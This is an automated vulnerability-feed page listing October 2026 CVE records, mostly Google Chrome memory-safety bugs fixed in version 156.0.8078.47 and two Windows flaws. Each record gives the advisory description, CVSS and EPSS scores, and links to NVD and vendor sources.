Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113267
Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113267).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113267&date=2026-10-25).
Sources:
NVD CVE-2026-113267: https://nvd.nist.gov/vuln/detail/CVE-2026-113267
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113267&date=2026-10-25
Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113269
Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113269).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113269&date=2026-10-25).
Sources:
NVD CVE-2026-113269: https://nvd.nist.gov/vuln/detail/CVE-2026-113269
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113269&date=2026-10-25
Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113271
Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113271).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113271&date=2026-10-25).
Sources:
NVD CVE-2026-113271: https://nvd.nist.gov/vuln/detail/CVE-2026-113271
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113271&date=2026-10-25
Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113272
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113272).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113272&date=2026-10-25).
Sources:
NVD CVE-2026-113272: https://nvd.nist.gov/vuln/detail/CVE-2026-113272
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113272&date=2026-10-25
Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83873
Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83873).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83873&date=2026-10-25).
Sources:
NVD CVE-2026-83873: https://nvd.nist.gov/vuln/detail/CVE-2026-83873
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83873
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83873&date=2026-10-25
Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113273
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113273).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113273&date=2026-10-25).
Sources:
NVD CVE-2026-113273: https://nvd.nist.gov/vuln/detail/CVE-2026-113273
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113273&date=2026-10-25
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113274
Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113274).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113274&date=2026-10-25).
Sources:
NVD CVE-2026-113274: https://nvd.nist.gov/vuln/detail/CVE-2026-113274
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113274&date=2026-10-25
Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113275
Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113275).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113275&date=2026-10-25).
Sources:
NVD CVE-2026-113275: https://nvd.nist.gov/vuln/detail/CVE-2026-113275
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113275&date=2026-10-25
Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113278
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113278).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113278&date=2026-10-25).
Sources:
NVD CVE-2026-113278: https://nvd.nist.gov/vuln/detail/CVE-2026-113278
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113278&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113279
Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113279).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113279&date=2026-10-25).
Sources:
NVD CVE-2026-113279: https://nvd.nist.gov/vuln/detail/CVE-2026-113279
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113279&date=2026-10-25
Memory corruption in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113280
Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113280).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113280&date=2026-10-25).
Sources:
NVD CVE-2026-113280: https://nvd.nist.gov/vuln/detail/CVE-2026-113280
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113280&date=2026-10-25
Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113281
Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113281).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113281&date=2026-10-25).
Sources:
NVD CVE-2026-113281: https://nvd.nist.gov/vuln/detail/CVE-2026-113281
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113281&date=2026-10-25
Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113284
Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113284).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113284&date=2026-10-25).
Sources:
NVD CVE-2026-113284: https://nvd.nist.gov/vuln/detail/CVE-2026-113284
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113284&date=2026-10-25
Memory corruption in XML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113286
Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113286).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113286&date=2026-10-25).
Sources:
NVD CVE-2026-113286: https://nvd.nist.gov/vuln/detail/CVE-2026-113286
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113286&date=2026-10-25
Memory corruption in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113287
Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113287).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113287&date=2026-10-25).
Sources:
NVD CVE-2026-113287: https://nvd.nist.gov/vuln/detail/CVE-2026-113287
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113287&date=2026-10-25
Use after free in Prompts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83874
Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83874).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83874&date=2026-10-25).
Sources:
NVD CVE-2026-83874: https://nvd.nist.gov/vuln/detail/CVE-2026-83874
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83874&date=2026-10-25
Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113288
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113288).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113288&date=2026-10-25).
Sources:
NVD CVE-2026-113288: https://nvd.nist.gov/vuln/detail/CVE-2026-113288
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113288&date=2026-10-25
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113289
Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113289).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113289&date=2026-10-25).
Sources:
NVD CVE-2026-113289: https://nvd.nist.gov/vuln/detail/CVE-2026-113289
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113289&date=2026-10-25
Improper input validation in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113290
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113290).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113290&date=2026-10-25).
Sources:
NVD CVE-2026-113290: https://nvd.nist.gov/vuln/detail/CVE-2026-113290
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113290&date=2026-10-25
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
